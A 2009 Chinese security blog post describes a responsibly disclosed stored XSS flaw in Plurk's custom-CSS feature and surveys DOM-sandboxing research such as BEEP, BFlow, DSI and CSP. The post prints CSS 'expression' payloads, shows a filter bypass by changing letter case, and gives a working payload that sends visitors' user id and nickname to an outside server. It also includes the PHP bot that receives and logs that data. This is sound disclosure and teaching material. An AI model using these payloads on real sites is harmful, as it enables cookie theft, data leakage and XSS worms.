阿碼外傳-阿碼科技非官方中文 Blog: 2009年6月27日

2009年6月27日

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnakeXSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnakeXSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working GroupWHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁paper投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇:(本篇)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!
繼續閱讀全文...